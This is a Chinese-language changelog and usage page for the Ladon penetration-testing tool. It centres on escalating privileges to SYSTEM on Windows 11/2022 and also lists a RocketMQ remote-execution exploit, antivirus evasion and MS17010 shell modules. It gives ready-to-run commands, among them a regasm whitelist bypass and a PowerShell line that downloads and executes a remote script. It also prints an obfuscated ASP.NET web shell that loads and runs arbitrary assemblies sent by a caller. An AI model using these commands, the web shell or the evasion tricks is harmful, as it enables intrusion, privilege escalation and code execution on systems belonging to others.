[提权]Win11/2022服务提升system权限

Ladon 11.2 2023.7.11[+]McpPotato    .NET>=4.0 Win11/2022提权至System  其它系统自测[u]GUI        加强版NC、Netcat监听客户端 连接速度优化 回显响应更快[u]Web        迷你Web服务器渗透保存的isvul.txt结果只保留IP(方便去重)[u]80天更新      超过编译日期80天，会提示文件损坏 请下最新版Ladon
2023.7.5修复一些bug
Ladon 11.1 2023.6.28[u]白名单启动  C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe /U Ladon.exe whoami[u]修复t=50线程 或结尾http 有些模块报错的Bug 如Ladon noping 192.168.1.0/B XXXX t=50 http[u]web      修复PowerShell DownLoadFile下载不了Bug[u]web      修复非根目录文件，下载或访问不到的Bug[u]LadonGUI    安装有.net 4.8时，默认加载Ladon911  如cmddll只有911有 无4.8用不了[+]exe2hex    EXE转HEX，CMD命令写入文件[+]exe2b64    EXE转Base64，CMD命令写入文件[u]cmddll    仅保留911本地使用，无需在目标生成，减小体积 1K也是肉[+]ZimbraVer  Zimbra版本探测[+]SharpGPO     .NET>=4.0 否则报错  35可编译 但执行报错

Ladon 11  2023.6.18[+]RocketMQexp        Apache RocketMQ CVE-2023-33246 远程命令执行漏洞EXP (可Ladon渗透Web服务器获取回显)[+]BypassAV          Ladon一键免杀工具 PY XOR随机加密 (Main函数需Public）[u]InfoScan          修复异常退出Bug[+]EventLog/LoginLog    一键读取登陆成功日志4624  错误4625要是爆破日志会很大[u]Exp、GUI、Study、Chat  更新UI按钮背景
[+]RunCmd/Cmd        执行Cmd命令/支持b64cmd  Ladon cmd whoami 或 Ladon b64cmd d2hvYW1p [+]RunPS/PowerShell      执行PowerShell命令/脚本 Ladon powershell c $PSVersionTable
20230603[u]LadonExp           支持GET连接MS17010漏洞CmdShell执行命令[u]LadonExp            生成EXE可解密Base64、Hex  PostShell结果[+]PostShell            增加HEX加密传输HEX解密结果,Base64结果解密Bug修复

Ladon RunSystem cmd.exe

Ladon RunSystem c:1.exe

Ladon McpPotato whoami

powershell -exec bypass Import-Module .Ladon.ps1;Ladon McpPotato whoami

powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.8/Ladon.ps1'); Ladon McpPotato whoami"

<%@ Page Language="C#" Debug="true" %><%@ Import Namespace="Su0079stu0065m.Diagu006eu006fsu0074u0069cs" %><%@ Import Namespace="Syu0073u0074em.Reu0066u006cu0065ction" %><script runat="server">    protected void Page_Load(object sender, EventArgs e)    {        if (!Page.IsPostBack)        {        string p="tom";            string c = Reu0071u0075u0065st.Cou006fu006bies
 != null ? Server.Htmlu0045u006eu0063ode(Ru0065u0071uest.Coou006bu0069u0065s
.Value) : null;            string[] g = null;            if (c != null)            {                byte[] b = Convert.FromBase64String(c);                string d = Encoding.UTF8.GetString(b);                g = d.Split(' ');                Su0079stem.Refu006cu0065u0063tion.Asu0073u0065u006dbly assu0065u006dbly = Syu0073u0074em.Reflu0065u0063u0074ion.Asu0073u0065u006dbly.Load(Reu0071uu0065st.Biu006eu0061ryRead(Reu0071u0075u0065st.TotalBytes));                Type[] types = assu0065u006dbly.GetTypes();                foreach (Type type in types)                {                    MethodInfo mt = type.Getu004du0065u0074hod("Main", BindingFlags.Public | BindingFlags.Static);                    if (mt != null)                    {                        Syu0073u0074em.IO.StringWriter sw = new Syu0073u0074em.IO.StringWriter();                        Console.SetOut(sw);                                         mt.Inu0076u006fke(null, new object[] { g });                                 Console.SetOut(new Syu0073u0074em.IO.StreamWriter(Console.OpenStandardOutput()));                        string o = sw.ToString();                        Response.Write(o);                        break;                    }                }                   }        }    }</script>

C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe /U Ladon.exe McpPotato whoami

Ladon 192.168.1.8/c icmp Ladon 192.168.1.8/b icmp Ladon 192.168.1.8/c infoscan

Ladon noping 192.168.1.8/c ms17010Ladon noping 192.168.1.8/c infoscan